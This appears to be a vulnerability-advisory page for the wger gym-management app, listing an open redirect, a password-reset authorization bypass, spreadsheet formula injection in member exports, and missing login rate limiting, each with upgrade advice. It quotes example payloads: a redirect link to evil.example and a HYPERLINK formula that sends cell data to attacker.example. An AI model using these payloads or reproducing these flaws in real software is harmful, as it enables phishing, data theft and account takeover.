Open actionable advisories and recorded vendor fixes. This public package view has no inventory attached and cannot establish whether your deployment is affected. A vendor fix never resolves your finding; verify your installed version and the source guidance.
Open advisories
4 actionable advisories, newest first. Withdrawn advisories and news are excluded. Coverage is partial.
The trainerlogin view in wger redirects to request.GET['next'] directly via HttpResponseRedirect() without calling urlhasallowedhostandscheme(). After the trainer successfully enters impersonation mode, their browser is redirected to any attacker-controlled URL supplied in the ?next= parameter, enabling Referer exfiltration and phishing. Details File: wger/core/views/user.py, approximately line 203 After the impersonation logic succeeds, the view performs no validation of the next parameter before issuing the redirect. An attacker who can deliver a crafted link (e.g. /en/user/2/trainer-login?next=https://evil.example/steal) to a trainer can redirect the trainer's browser to any external host immediately after the impersonation session is established. The Location header contains the raw attacker-controlled URL. Affected endpoint: - GET /en/user/<userpk/trainer-login - wger.core.views.user.trainerlogin (the ?next= redirect branch) Suggested patch: Adding @requirePOST to…
Recommended action: Upgrade to 2.6 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
The resetuserpassword and gympermissionsuseredit views in wger perform a gym-scope authorization check using Python object comparison (!=) that evaluates None != None as False, silently bypassing the guard when both the attacker and victim have no gym assignment (gym=None). A user with gym.managegym permission and gym=None can reset the password of any other gym=None user; the new plaintext password is returned verbatim in the HTML response body, enabling one-shot full account takeover. The victim's original password is invalidated, locking them out permanently. Details File: wger/gym/views/user.py The authorization guard in resetuserpassword (and the parallel check in gympermissionsuseredit) uses Django ORM object comparison: When both request.user.userprofile.gym and user.userprofile.gym are None (representing users with no gym assignment - the default for newly registered users before gym linking), Python evaluates None != None as False. The guard therefore passes without…
Recommended action: Upgrade to 2.6 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
The gym member TSV export endpoint in wger writes firstname and lastname profile fields verbatim to TSV cells with no formula-prefix sanitization. Any gym member (including newly self-registered users) can pre-load a spreadsheet formula into their own profile. When a gym admin later exports the member list and opens the file in Excel, LibreOffice Calc, or Google Sheets, the formula executes in the admin's local spreadsheet context — enabling data exfiltration and, on legacy Excel with DDE enabled, arbitrary local code execution. Details File: wger/gym/views/export.py, approximately line 73 Python's csv.writer does not escape spreadsheet formula triggers (=, +, -, @, \t, \r). Any gym member can set their firstname to =HYPERLINK("http://attacker.example/?p="&A1,"click") via the profile edit endpoint. The string is stored in the database and reproduced without modification in every subsequent TSV export. When a gym admin opens the resulting file in a formula-evaluating…
Recommended action: Upgrade to 2.6 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.
Improper Restriction of Excessive Authentication Attempts in GitHub repository wger-project/wger prior to 2.2.
Recommended action: Upgrade to 2.2 or later, then redeploy and verify.A vendor fix does not resolve your finding until you verify it in your own systems.